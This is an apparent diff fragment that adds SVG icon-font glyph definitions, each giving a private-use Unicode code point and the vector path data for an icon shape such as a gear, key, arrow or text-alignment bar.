+<glyph unicode="&#xf111;" d="M1800 800h-218q-26 -107 -81 -193l154 -154l-210 -210l-154 154q-88 -55 -191 -79v-218h-300v218q-103 24 -191 79l-154 -154l-212 212l154 154q-55 88 -79 191h-218v297h217q23 101 80 194l-154 154l210 210l154 -154q85 54 193 81v218h300v-218q103 -24 191 -79 l154 154l212 -212l-154 -154q57 -93 80 -194h217v-297zM950 650q124 0 212 88t88 212t-88 212t-212 88t-212 -88t-88 -212t88 -212t212 -88z" />
+<glyph unicode="&#xf112;" d="M1695 1742q96 -96 130.5 -225t0 -257.5t-130.5 -224.5q-112 -112 -267.5 -138.5t-291.5 37.5l-187 -331l-299 -31l-150 -372h-300l-100 200l795 769q-71 139 -46.5 298.5t139.5 274.5q96 96 225 130.5t257.5 0t224.5 -130.5zM1444 1363q55 0 94 39t39 95q0 55 -39 94 t-94 39t-94 -39t-39 -94t39 -94.5t94 -39.5z" />
+<glyph unicode="&#xf113;" d="M1000 1700q154 0 290.5 -63t234.5 -175l-171 -195q-62 82 -155 130t-199 48q-157 0 -277.5 -98t-154.5 -247h232l-350 -400l-350 400h208q24 168 121 305t247.5 216t323.5 79zM1000 296q-155 0 -291 63t-234 175l171 195q62 -82 155 -130t199 -48q157 0 277.5 98 t154.5 247h-232l350 400l350 -400h-208q-18 -126 -79.5 -236.5t-152.5 -190.5t-210.5 -126.5t-249.5 -46.5z" />
+<glyph unicode="&#xf115;" d="M1800 600v1000q0 41 -29.5 70.5t-70.5 29.5h-1400q-41 0 -70.5 -29.5t-29.5 -70.5v-1000q0 -41 29.5 -70.5t70.5 -29.5h1400q41 0 70.5 29.5t29.5 70.5zM1000 1400q169 0 323 -79t277 -221q-123 -142 -277 -221t-323 -79t-323 79t-277 221q123 142 277 221t323 79z M1200 1100q0 82 -59 141t-141 59t-141 -59t-59 -141t59 -141t141 -59t141 59t59 141zM1400 300h300v-100h-1400v100h300v100h800v-100z" />
+<glyph unicode="&#xf116;" d="M1900 400v1300q0 41 -29.5 70.5t-70.5 29.5h-1500q-41 0 -70.5 -29.5t-29.5 -70.5v-1300q0 -41 29.5 -70.5t70.5 -29.5h1500q41 0 70.5 29.5t29.5 70.5zM400 1600h1300v-400h-1300v400zM500 1500v-200h300v200h-300zM900 1500v-200h300v200h-300zM1300 1500v-200h300v200 h-300zM450 1000q21 0 35.5 -14.5t14.5 -35.5t-14.5 -35.5t-35.5 -14.5t-35.5 14.5t-14.5 35.5t14.5 35.5t35.5 14.5zM600 1000h400v-100h-400v100zM1200 1000h500v-500h-500v500zM450 800q21 0 35.5 -14.5t14.5 -35.5t-14.5 -35.5t-35.5 -14.5t-35.5 14.5t-14.5 35.5 t14.5 35.5t35.5 14.5zM600 800h400v-100h-400v100zM1300 800v-200h300v200h-300zM450 600q21 0 35.5 -14.5t14.5 -35.5t-14.5 -35.5t-35.5 -14.5t-35.5 14.5t-14.5 35.5t14.5 35.5t35.5 14.5zM600 600h400v-100h-400v100z" />
+<glyph unicode="&#xf117;" d="M500 1800h1000q82 0 141 -59t59 -141v-800q0 -82 -59 -141t-141 -59h-200l-500 -500v500h-300q-82 0 -141 59t-59 141v800q0 82 59 141t141 59zM1350 950l-250 250l250 250l-100 100l-250 -250l-250 250l-100 -100l250 -250l-250 -250l100 -100l250 250l250 -250z" />
+<glyph unicode="&#xf118;" d="M1000 1000l-746 298l46 -1098h-200l48 1141l-148 59l1000 400l1000 -400zM1000 1500q-41 0 -70.5 -14.5t-29.5 -35.5t29.5 -35.5t70.5 -14.5t70.5 14.5t29.5 35.5t-29.5 35.5t-70.5 14.5zM1000 900l557 223q112 -149 136 -330q-52 7 -93 7q-188 0 -347.5 -92.5 t-252.5 -248.5q-93 156 -252.5 248.5t-347.5 92.5q-40 0 -93 -7q24 181 136 330z" />
+<glyph unicode="&#xf119;" d="M1689 1880l141 -141q29 -29 29 -70.5t-29 -70.5l-430 -431v-967h-1100v1500h1067l180 180q30 29 71.5 29.5t70.5 -29.5zM1123 1032l537 536l-142 142l-536 -537l-71 -212z" />
+<glyph unicode="&#xf120;" d="M2000 1000q0 163 -50.5 315.5t-143 275.5t-215.5 215.5t-275.5 143t-315.5 50.5t-315.5 -50.5t-275.5 -143t-215.5 -215.5t-143 -275.5t-50.5 -315.5t50.5 -315.5t143 -275.5t215.5 -215.5t275.5 -143t315.5 -50.5t315.5 50.5t275.5 143t215.5 215.5t143 275.5 t50.5 315.5zM1000 1899q183 0 349.5 -71t287 -191.5t191.5 -287t71 -349.5t-71 -349.5t-191.5 -287t-287 -191.5t-349.5 -71t-349.5 71t-287 191.5t-191.5 287t-71 349.5t71 349.5t191.5 287t287 191.5t349.5 71zM801 518l-305 821l105 8q20 2 27 27.5t-2.5 49t-30.5 22.5 q-129 -10 -213 -10q-33 0 -52 1q110 166 287 263t383 97q154 0 293.5 -55t247.5 -154q-52 7 -98.5 -30.5t-46.5 -111.5q0 -29 11.5 -61.5t22.5 -52.5t37 -61q5 -8 8 -13q50 -87 50 -221q0 -60 -31.5 -172t-63.5 -194l-32 -82l-271 750q21 1 40 5t27 8l8 3q20 2 27.5 29.5 t-2.5 53.5t-30 25q-130 -11 -214 -11q-35 0 -87.5 3l-87.5 5l-36 3q-20 1 -30 -25.5t-2.5 -54t27.5 -28.5l84 -8l112 -304zM1403 303l261 697q3 7 7 19.5t15 53.5t15.5 82t8 105t-6.5 121q94 -170 94 -381q0 -219 -106.5 -405t-287.5 -292zM268 1323l382 -1048 q-202 99 -324.5 294.5t-122.5 430.5q0 179 65 323zM1013 870l229 -625q-117 -42 -242 -42q-103 0 -206 30z" />
+<glyph unicode="&#xf121;" d="M300 1900h1400v-1800h-1400v1800zM1400 1500v100h-800v-100h800zM1400 1200v100h-800v-100h800zM1400 900v100h-800v-100h800zM1200 600v100h-600v-100h600z" />
+<glyph unicode="&#xf122;" d="M854 726q0 130 -72 222q-50 63 -136.5 82t-159.5 3q-25 143 78 303.5t264 241.5l-163 228q-98 -47 -188.5 -114t-169.5 -157t-133.5 -192.5t-79.5 -227t-9 -252.5q26 -211 139.5 -337t283.5 -126q151 0 248 88q98 88 98 238zM1797 726q0 130 -72 222q-50 63 -136.5 82 t-159.5 3q-25 143 78 303.5t264 241.5l-163 228q-98 -47 -188.5 -114t-169.5 -157t-133.5 -192.5t-79.5 -227t-9 -252.5q26 -211 139.5 -337t283.5 -126q151 0 248 88q98 88 98 238z" />
+<glyph unicode="&#xf123;" d="M100 1900h1800v-1200l-600 -600h-1200v1800zM400 1600v-100h1200v100h-1200zM400 1200v-100h1200v100h-1200zM1000 700v100h-600v-100h600zM1200 300l500 500h-500v-500z" />
+<glyph unicode="&#xf125;" d="M1100 1400h-82q-81 0 -149.5 -71t-68.5 -145v-184l-300 -300v300h-200q-82 0 -141 59t-59 141v500q0 82 59 141t141 59h600q82 0 141 -59t59 -141v-300zM1100 1300h600q82 0 141 -59t59 -141v-500q0 -82 -59 -141t-141 -59h-200v-300l-300 300h-100q-82 0 -141 59 t-59 141v500q0 82 59 141t141 59z" />
+<glyph unicode="&#xf126;" d="M200 1900h1600q41 0 70.5 -29.5t29.5 -70.5v-1600l-1800 2v1598q0 41 29.5 70.5t70.5 29.5zM600 1800l-200 -300h100l200 300h-100zM1000 1800h-100l-200 -300h100zM1300 1800h-100l-200 -300h100zM1600 1800h-100l-200 -300h100zM1700 400v1000h-1400v-1000h1400z M800 1300l600 -400l-600 -400v800z" />
+<glyph unicode="&#xf127;" d="M699 1692l1102 200q40 6 69.5 -25.5t29.5 -74.5v-200v-1042q0 -145 -102.5 -247.5t-247.5 -102.5t-247.5 102.5t-102.5 247.5t102.5 247.5t247.5 102.5q73 0 150 -35v627l-900 -200v-892q-18 -128 -118 -214t-232 -86q-145 0 -247.5 102.5t-102.5 247.5t102.5 247.5 t247.5 102.5q73 0 150 -35v827q0 40 28 66.5t71 33.5z" />
+<glyph unicode="&#xf128;" d="M225 1900h1550q52 0 88.5 -36.5t36.5 -88.5v-1550q0 -52 -36.5 -88.5t-88.5 -36.5h-1550q-52 0 -88.5 36.5t-36.5 88.5v1550q0 52 36.5 88.5t88.5 36.5zM1700 300v1400h-1400v-1400h1400zM1000 1400q0 82 -59 141t-141 59t-141 -59t-59 -141t59 -141t141 -59t141 59 t59 141zM1300 900q0 8 0.5 21t3 54t7.5 81t15.5 94t25 100.5t37.5 93.5t52 80.5t70 54.5t89 21v-1000q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5v700q41 0 79.5 -22t67.5 -57.5t55 -78t43.5 -85t30 -78t18.5 -57.5l6 -22q4 12 12 32.5t36 72t60 91 t84 72t108 32.5t107.5 -20.5t85 -50t59 -59t36.5 -50.5z" />
+<glyph unicode="&#xf129;" d="M1500 1600h294q44 0 75 -31t31 -75v-1181q0 -45 -31 -79t-75 -34h-1588q-44 0 -75 34t-31 79v1181q0 44 31 75t75 31h294l300 200h400zM1000 500q166 0 283 117t117 283t-117 283t-283 117t-283 -117t-117 -283t117 -283t283 -117z" />
+<glyph unicode="&#xf130;" d="M1000 1900q205 0 362 -33.5t257.5 -91t164.5 -142t90 -177.5t26 -206t-26 -206t-90 -177.5t-164.5 -142t-257.5 -91t-362 -33.5t-362 33.5t-257.5 91t-164.5 142t-90 177.5t-26 206t26 206t90 177.5t164.5 142t257.5 91t362 33.5zM550 1100q62 0 106 44t44 106t-44 106 t-106 44t-106 -44t-44 -106t44 -106t106 -44zM1000 1100q62 0 106 44t44 106t-44 106t-106 44t-106 -44t-44 -106t44 -106t106 -44zM1450 1100q62 0 106 44t44 106t-44 106t-106 44t-106 -44t-44 -106t44 -106t106 -44zM600 550q62 0 106 -44t44 -106t-44 -106t-106 -44 t-106 44t-44 106t44 106t106 44zM300 350q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5z" />
+<glyph unicode="&#xf132;" d="M1700 1300v-300h-500v-500h-300v500h-500v300h500v500h300v-500h500z" />
+<glyph unicode="&#xf133;" d="M1700 1300v300h-200v200h-300v-100h-900v-1500h1100v900h100v200h200zM1600 1500v-100h-200v-200h-100v200h-200v100h200v200h100v-200h200z" />
+<glyph unicode="&#xf134;" d="M300 1500h1400v200h-1400v-200zM1500 700v600h-1000v-600h1000zM300 300h1400v200h-1400v-200z" />
+<glyph unicode="&#xf135;" d="M300 1500h1400v200h-1400v-200zM1200 700v600h-900v-600h900zM1400 1100h300v200h-300v-200zM1400 700h300v200h-300v-200zM300 300h1400v200h-1400v-200z" />
+<glyph unicode="&#xf136;" d="M300 1500h1400v200h-1400v-200zM300 1100h300v200h-300v-200zM1700 700v600h-900v-600h900zM300 700h300v200h-300v-200zM300 300h1400v200h-1400v-200z" />
+<glyph unicode="&#xf138;" d="M300 1500h1400v200h-1400v-200zM1300 700v600h-1000v-600h1000zM300 300h1400v200h-1400v-200z" />
+<glyph unicode="&#xf139;" d="M800 1400l600 -403l-600 -397v800z" />
+<glyph unicode="&#xf140;" d="M1500 1200l-403 -600l-397 600h800z" />
+<glyph unicode="&#xf141;" d="M1300 600l-600 403l600 397v-800z" />
+<glyph unicode="&#xf142;" d="M700 700l403 600l397 -600h-800z" />
+<glyph unicode="&#xf143;" d="M700 700l403 600l397 -600h-800z" />
+<glyph unicode="&#xf145;" d="M1500 1600h300v-1400h-1600v1400h300v100q0 62 44 106t106 44t106 -44t44 -106v-100h400v100q0 62 44 106t106 44t106 -44t44 -106v-100zM600 1700v-250q0 -21 14.5 -35.5t35.5 -14.5t35.5 14.5t14.5 35.5v250q0 21 -14.5 35.5t-35.5 14.5t-35.5 -14.5t-14.5 -35.5z M1300 1700v-250q0 -21 14.5 -35.5t35.5 -14.5t35.5 14.5t14.5 35.5v250q0 21 -14.5 35.5t-35.5 14.5t-35.5 -14.5t-14.5 -35.5zM1700 300v900h-1400v-900h1400zM700 400v700h-200v-700h200zM1100 400v700h-200v-700h200zM1500 400v700h-200v-700h200z" />
+<glyph unicode="&#xf147;" d="M1439 1450l134 -94l-537 -745h-134l-302 401l134 125l235 -187z" />
+<glyph unicode="&#xf148;" d="M1000 1784q160 0 305 -62t250 -167t167 -250t62 -305t-62 -305t-167 -250t-250 -167t-305 -62t-305 62t-250 167t-167 250t-62 305q0 213 106 393.5t286.5 285.5t391.5 105zM1200 612v776l-582 -385z" />
+<glyph unicode="&#xf153;" d="M1000 1800q163 0 311 -63.5t255 -170.5t170.5 -255t63.5 -311t-63.5 -311t-170.5 -255t-255 -170.5t-311 -63.5t-311 63.5t-255 170.5t-170.5 255t-63.5 311t63.5 311t170.5 255t255 170.5t311 63.5zM1500 700l-300 300l300 300l-200 200l-300 -300l-300 300l-200 -200 l300 -300l-300 -300l200 -200l300 300l300 -300z" />
+<glyph unicode="&#xf154;" d="M1000 1900l-300 -600l-600 -75l413 -462l-113 -663l600 300l600 -300l-112 663l412 462l-600 75zM1000 1676l234 -469l465 -58l-318 -356l87 -515l-468 234l-468 -234l87 515l-318 356l465 58z" />
+<glyph unicode="&#xf155;" d="M1000 1900l300 -600l600 -75l-412 -462l112 -663l-600 300l-600 -300l113 663l-413 462l600 75z" />
+<glyph unicode="&#xf156;" d="M1100 1300h-1000l500 -700zM900 600h1000l-500 700z" />
+<glyph unicode="&#xf157;" d="M1476 1900q134 0 229 -95.5t95 -229.5t-95 -229t-229 -95q-33 0 -70 8l-106 -106v-1053h-1100v1500h954q9 145 99 222.5t223 77.5zM1476 1351q93 0 158.5 66t65.5 158q0 93 -65.5 159t-158.5 66t-158.5 -66t-65.5 -159q0 -54 27 -103l-322 -322q-35 -35 -101.5 -133 t-48.5 -116q3 -4 10 -4q32 0 120.5 61.5t118.5 91.5l324 324q48 -23 96 -23z" />
+<glyph unicode="&#xf158;" d="M1555 630l-219 -206l-342 365l-364 -343l-206 218l364 343l-342 364l218 206l343 -364l364 342l205 -218l-364 -343z" />
+<glyph unicode="&#xf159;" d="M1000 1800q163 0 311 -63.5t255 -170.5t170.5 -255t63.5 -311t-63.5 -311t-170.5 -255t-255 -170.5t-311 -63.5t-311 63.5t-255 170.5t-170.5 255t-63.5 311t63.5 311t170.5 255t255 170.5t311 63.5zM1000 500q136 0 251 67t182 182t67 251t-67 251t-182 182t-251 67 t-251 -67t-182 -182t-67 -251t67 -251t182 -182t251 -67z" />
+<glyph unicode="&#xf160;" d="M1400 1100h100q41 0 70.5 -29.5t29.5 -70.5v-700q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5v700q0 41 29.5 70.5t70.5 29.5h100v300q0 166 117 283t283 117t283 -117t117 -283v-300zM1200 1100v300q0 82 -59 141t-141 59t-141 -59t-59 -141v-300 h400zM1100 400l-36 215q39 18 62.5 54.5t23.5 80.5q0 62 -44 106t-106 44t-106 -44t-44 -106q0 -44 23.5 -80.5t62.5 -54.5l-36 -215h200z" />
+<glyph unicode="&#xf161;" d="M1600 1600h196q43 0 73.5 -30.5t30.5 -73.5v-1292q0 -43 -30.5 -73.5t-73.5 -30.5h-1292q-43 0 -73.5 30.5t-30.5 73.5v196h-196q-43 0 -73.5 30.5t-30.5 73.5v1292q0 43 30.5 73.5t73.5 30.5h1292q43 0 73.5 -30.5t30.5 -73.5v-196zM300 600h1100v1100h-1100v-1100z M800 1450q0 62 -44 106t-106 44t-106 -44t-44 -106t44 -106t106 -44t106 44t44 106zM1000 1000q2 10 6 28t18.5 70t30.5 99.5t43 105t55.5 99t67 70t79.5 28.5v-800h-900v600q56 0 97 -31t60 -75t30 -88t12 -75l1 -31q1 4 2.5 11.5t8 28t15.5 39.5t25.5 42t36 39.5t49 28 t63.5 11.5q47 0 84.5 -20.5t58 -50t34.5 -59t19 -50.5zM1700 300v1100h-100v-896q0 -43 -30.5 -73.5t-73.5 -30.5h-896v-100h1100z" />
+<glyph unicode="&#xf163;" d="M200 100h1600q41 0 70.5 29.5t29.5 70.5v1600q0 41 -29.5 70.5t-70.5 29.5h-1600q-41 0 -70.5 -29.5t-29.5 -70.5v-1600q0 -41 29.5 -70.5t70.5 -29.5zM400 1700q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5z M1700 1700v-200h-1100v200h1100zM400 1300q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM1700 1300v-200h-1100v200h1100zM400 900q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5 t29.5 70.5t70.5 29.5zM1700 900v-200h-1100v200h1100zM400 500q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM1700 500v-200h-1100v200h1100z" />
+<glyph unicode="&#xf164;" d="M1900 200v1600q0 41 -29.5 70.5t-70.5 29.5h-1600q-41 0 -70.5 -29.5t-29.5 -70.5v-1600q0 -41 29.5 -70.5t70.5 -29.5h1600q41 0 70.5 29.5t29.5 70.5zM400 1700q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5z M1700 1700v-600h-1100v600h1100zM400 900q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM1700 900v-600h-1100v600h1100z" />
+<glyph unicode="&#xf165;" d="M1900 800v-300h-400v-400h-300v400h-800v800h-400v300h400v400h300v-400h700l300 300l100 -100l-300 -300v-700h400zM1100 1300h-400v-400zM800 800h400v400z" />
+<glyph unicode="&#xf166;" d="M700 1500h-195q0 137 71.5 213.5t223.5 76.5v210q-232 0 -368 -139.5t-136 -360.5h-178l262 -339zM2000 1900v-1400h-500v-500h-1400v1000h900v900h1000zM1800 1700h-600v-700h300v-300h300v1000zM1300 800h-1000v-600h1000v600z" />
+<glyph unicode="&#xf167;" d="M1595 1500h-195l320 -339l262 339h-178q0 221 -136 360.5t-368 139.5v-210q152 0 223.5 -76.5t71.5 -213.5zM100 1900h1000v-900h900v-1000h-1400v500h-500v1400zM300 1700v-1000h300v300h300v700h-600zM800 800v-600h1000v600h-1000z" />
+<glyph unicode="&#xf168;" d="M2000 1100v-200h-300v-800h-1400v800h-300v200h300v800h1400v-800h300zM650 1300h700l-350 400zM1700 1050h-1400v-100h1400v100zM1350 700h-700l350 -400z" />
+<glyph unicode="&#xf169;" d="M1900 1700v-1400h-800v-300h-200v300h-800v1400h800v300h200v-300h800zM1050 300v1400h-100v-1400h100zM700 1350l-400 -350l400 -350v700zM1700 1000l-400 350v-700z" />
+<glyph unicode="&#xf171;" d="M1723 990q79 -186 79 -390t-79 -390l-278 117q55 132 55 273q0 142 -55 272q-52 125 -150 223q-97 97 -222 150q-132 55 -273 55v-300l-600 450l600 450v-298q204 0 390 -79q182 -77 318 -215q138 -136 215 -318z" />
+<glyph unicode="&#xf172;" d="M277 990q77 182 215 318q136 138 318 215q186 79 390 79v298l600 -450l-600 -450v300q-141 0 -273 -55q-124 -53 -222 -150q-98 -98 -150 -223q-55 -130 -55 -272q0 -141 55 -273l-278 -117q-79 186 -79 390t79 390z" />
+<glyph unicode="&#xf173;" d="M1400 1400q0 -138 -84.5 -245t-215.5 -141v-614q0 -44 -50 -94t-100 -78l-50 -28v814q-131 34 -215.5 141t-84.5 245q0 166 117 283t283 117t283 -117t117 -283zM800 1500q0 -41 29.5 -70.5t70.5 -29.5t70.5 29.5t29.5 70.5t-29.5 70.5t-70.5 29.5t-70.5 -29.5 t-29.5 -70.5z" />
+<glyph unicode="&#xf174;" d="M600 700h900q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5v1000h-200q-41 0 -70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5v-200h1300l-400 -700h-900v-100zM550 400q62 0 106 -44t44 -106 t-44 -106t-106 -44t-106 44t-44 106t44 106t106 44zM1450 400q62 0 106 -44t44 -106t-44 -106t-106 -44t-106 44t-44 106t44 106t106 44z" />
+<glyph unicode="&#xf175;" d="M200 1800h1600q41 0 70.5 -29.5t29.5 -70.5v-1400q0 -41 -29.5 -70.5t-70.5 -29.5h-1600q-41 0 -70.5 29.5t-29.5 70.5v1400q0 41 29.5 70.5t70.5 29.5zM1700 400v900h-1400v-900h1400zM400 1200v-100h300v100h-300zM800 1200v-300h800v300h-800zM400 800v-100h300v100 h-300zM800 800v-300h800v300h-800z" />
+<glyph unicode="&#xf176;" d="M1485 997q133 -14 224 -113t91 -234q0 -145 -102.5 -247.5t-247.5 -102.5h-1000q-145 0 -247.5 102.5t-102.5 247.5q0 133 88 231t218 115q-6 26 -6 54q0 104 73 177t177 73q49 0 95 -19q50 99 145.5 159t209.5 60q166 0 283 -117t117 -283q0 -48 -15 -103z" />
+<glyph unicode="&#xf177;" d="M1000 1491q294 0 536 -151t364 -399q-122 -248 -364 -399t-536 -151t-536 151t-364 399q122 248 364 399t536 151zM1235 1181q0 44 -26 78t-66 46q-17 2 -49 4q-49 -4 -83 -40.5t-34 -87.5q0 -53 38 -91t91 -38q54 0 91.5 38t37.5 91zM1000 511q244 0 449.5 121 t310.5 309q-69 123 -189 208.5t-276 126.5q109 -117 109 -276q0 -167 -118.5 -285.5t-285.5 -118.5t-285.5 118.5t-118.5 285.5q0 159 109 276q-156 -41 -276 -126.5t-189 -208.5q105 -188 310.5 -309t449.5 -121z" />
+<glyph unicode="&#xf178;" d="M1800 300v1400q0 41 -29.5 70.5t-70.5 29.5h-1400q-41 0 -70.5 -29.5t-29.5 -70.5v-1400q0 -41 29.5 -70.5t70.5 -29.5h1400q41 0 70.5 29.5t29.5 70.5zM1700 300h-1400v1400h1400v-1400zM475 1600h1050q31 0 53 -22t22 -53v-125h-100v-300h100v-200h-100v-300h100v-125 q0 -31 -22 -53t-53 -22h-1050q-31 0 -53 22t-22 53v1050q0 31 22 53t53 22zM1300 1000q0 166 -117 283t-283 117t-283 -117t-117 -283t117 -283t283 -117t283 117t117 283zM900 1300l77 -115q55 -24 89 -74t34 -111q0 -82 -59 -141t-141 -59t-141 59t-59 141q0 61 34 111 t89 74z" />
+<glyph unicode="&#xf179;" d="M1214 1582q139 -139 158 -334.5t-86 -354.5q3 -3 15.5 -14t20.5 -17q34 -27 81 -59q62 -43 66 -47q61 -45 94 -78q49 -49 84 -100q36 -50 59 -104q22 -55 18 -100q-3 -48 -36 -81t-81 -36q-49 -3 -99 19q-52 21 -104 59q-51 35 -100 84q-33 33 -77 93q-2 3 -47 66 q-32 46 -56 78q-24 30 -44 50q-154 -83 -334 -57t-310 155q-160 161 -160 389.5t160 388.5q106 106 247.5 143.5t283 0t247.5 -143.5zM1073 946q102 103 102 247.5t-102 247.5q-103 103 -248 103t-247 -103q-103 -103 -103 -247.5t103 -247.5q102 -103 247 -103t248 103z " />
+<glyph unicode="&#xf180;" d="M900 1100v600h-600v-600h600zM1700 1100v600h-600v-600h600zM900 300v600h-600v-600h600zM1700 300v600h-600v-600h600z" />
+<glyph unicode="&#xf181;" d="M500 600v800h1000v-800h-1000zM200 700v600h200v-600h-200zM600 1300v-600h800v600h-800zM1600 1300h200v-600h-200v600zM1300 1100v100h-600v-100h600zM1300 800v200h-600v-200h600z" />
+<glyph unicode="&#xf182;" d="M1200 1600h300q41 0 70.5 -29.5t29.5 -70.5v-100h-1300v100q0 41 29.5 70.5t70.5 29.5h300q17 86 88.5 143t161.5 57t161.5 -57t88.5 -143zM800 1600h300q-16 43 -58.5 71.5t-91.5 28.5t-91.5 -28.5t-58.5 -71.5zM400 1300h1100v-1000q0 -41 -29.5 -70.5t-70.5 -29.5 h-900q-41 0 -70.5 29.5t-29.5 70.5v1000zM700 400v700h-100v-700h100zM1000 400v700h-100v-700h100zM1300 400v700h-100v-700h100z" />
+<glyph unicode="&#xf183;" d="M1800 200v1600h-1600v-1600h1600zM1600 1500h-1200v100h1200v-100zM700 1300v-300h300q0 -124 -88 -212t-212 -88t-212 88t-88 212t88 212t212 88zM800 1100v200q82 0 141 -59t59 -141h-200zM1600 1200h-400v100h400v-100zM1600 900h-400v200h400v-200zM1600 700h-400 v100h400v-100zM1600 400h-1200v100h1200v-100z" />
+<glyph unicode="&#xf184;" d="M1000 1000v700q143 0 272.5 -55.5t223 -149t149 -223t55.5 -272.5h-700zM900 1600v-700h700q0 -143 -55.5 -272.5t-149 -223t-223 -149t-272.5 -55.5t-272.5 55.5t-223 149t-149 223t-55.5 272.5t55.5 272.5t149 223t223 149t272.5 55.5z" />
+<glyph unicode="&#xf185;" d="M1800 200v1600h-400v-1600h400zM1200 200v1100h-400v-1100h400zM600 200v800h-400v-800h400z" />
+<glyph unicode="&#xf200;" d="M600 1600v-1300h454q207 0 326 100q120 99 120 277q0 126 -51 201q-52 76 -167 103v9q85 15 136 90t51 191q0 172 -117 250q-115 79 -374 79h-378zM857 1085v289h136q109 0 161 -32q51 -33 51 -107q0 -80 -47 -115t-151 -35h-150zM857 866h160q216 0 216 -161 q0 -91 -51 -134q-50 -43 -157 -43h-168v338z" />
+<glyph unicode="&#xf201;" d="M1478 1400h-213l-280 -900h212l-62 -200h-675l62 200h214l280 900h-213l62 200h675z" />
+<glyph unicode="&#xf203;" d="M550 1300q-62 0 -106 44t-44 106t44 106t106 44t106 -44t44 -106t-44 -106t-106 -44zM800 1500h900v-100h-900v100zM550 800q-62 0 -106 44t-44 106t44 106t106 44t106 -44t44 -106t-44 -106t-106 -44zM800 1000h900v-100h-900v100zM550 300q-62 0 -106 44t-44 106 t44 106t106 44t106 -44t44 -106t-44 -106t-106 -44zM800 500h900v-100h-900v100z" />
+<glyph unicode="&#xf204;" d="M600 1300v400h-69l-129 -103l40 -51l46 37q12 10 30 28l-2 -42v-269h84zM800 1500h900v-100h-900v100zM677 805v70h-172v4l51 48q56 52 70 71q21 26 30 49q10 23 10 51q0 33 -16 56q-14 23 -44 37t-65 14q-29 0 -51 -6q-17 -3 -42 -15q-21 -12 -48 -35l45 -54 q24 19 45 30q21 10 45 10q23 0 35 -11q13 -12 13 -36q0 -15 -6 -30q-7 -16 -19 -33q-11 -13 -58 -62l-99 -100v-58h276zM800 1000h900v-100h-900v100zM671 605q0 46 -37 71q-37 26 -100 26q-78 0 -133 -40l40 -60q27 18 46 23q20 7 41 7q58 0 58 -46q0 -31 -22 -43t-70 -12 h-31v-66h31q51 0 75 -12q23 -12 23 -41q0 -32 -20 -47q-21 -15 -63 -15q-27 0 -57 8q-25 7 -52 20v-74q50 -22 118 -22q80 0 122 33q43 33 43 92q0 40 -26 64q-25 24 -74 30v2q40 9 65 37q23 28 23 65zM800 500h900v-100h-900v100z" />
+<glyph unicode="&#xf205;" d="M949 678q0 113 -61 190q-43 53 -117 69.5t-136 2.5q-21 122 66.5 259t225.5 206l-139 195q-106 -51 -199.5 -129t-167.5 -179.5t-110 -231t-19 -265.5q22 -180 119.5 -287.5t242.5 -107.5q128 0 212 75q83 74 83 203zM1754 678q0 113 -61 190q-43 54 -117 70t-136 2 q-21 122 66.5 259t225.5 206l-139 195q-106 -51 -199.5 -129t-167 -179.5t-109.5 -231t-19 -265.5q22 -180 119 -287.5t242 -107.5q128 0 212 75q83 74 83 203z" />
+<glyph unicode="&#xf206;" d="M1200 1500v200h-900v-200h900zM1700 1100v200h-1400v-200h1400zM1200 700v200h-900v-200h900zM1700 300v200h-1400v-200h1400z" />
+<glyph unicode="&#xf207;" d="M1400 1500v200h-800v-200h800zM1700 1100v200h-1400v-200h1400zM1400 700v200h-800v-200h800zM1700 300v200h-1400v-200h1400z" />
+<glyph unicode="&#xf208;" d="M1700 1500v200h-900v-200h900zM1700 1100v200h-1400v-200h1400zM1700 700v200h-900v-200h900zM1700 300v200h-1400v-200h1400z" />
+<glyph unicode="&#xf209;" d="M1700 1300v400h-1400v-400h1400zM600 900v200h-300v-200h300zM1200 900v200h-400v-200h400zM1700 900v200h-300v-200h300zM1700 300v400h-1400v-400h1400z" />
+<glyph unicode="&#xf210;" d="M1584 1724q36 0 71 -11q26 -8 64 -25l35 81q-78 39 -169 39q-86 0 -152 -37q-65 -37 -99 -108q-34 -68 -34 -163q0 -149 70 -228t202 -79q88 0 160 26v84q-32 -10 -74 -19q-38 -8 -74 -8q-89 0 -134 57q-47 54 -47 166q0 105 48 165q49 60 133 60zM650 1200h104l-224 600 h-106l-224 -600h103l58 166h229zM800 1800v-600h217q101 0 157 46q56 44 56 126q0 60 -30 95q-28 35 -93 47v4q50 9 78 44q28 37 28 88q0 78 -56 114q-54 36 -179 36h-178zM898 1552v166h85q68 0 97 -19q31 -18 31 -61q0 -46 -29 -66q-28 -20 -89 -20h-95zM564 1450h-174 l54 156q23 65 32 110l15 -52q8 -26 17 -51zM898 1473h99q64 0 98 -23q32 -23 32 -69q0 -51 -32 -75q-31 -24 -93 -24h-104v191zM400 700l500 -500l900 800l-100 100l-800 -600l-400 300z" />
+<glyph unicode="&#xf211;" d="M600 1700l-125 -125l225 -375l-375 225l-125 -125v400h400zM1400 1700h400v-400l-125 125l-375 -225l225 375zM700 800v400h600v-400h-600zM200 700l125 -125l375 225l-225 -375l125 -125h-400v400zM1400 300l125 125l-225 375l375 -225l125 125v-400h-400z" />
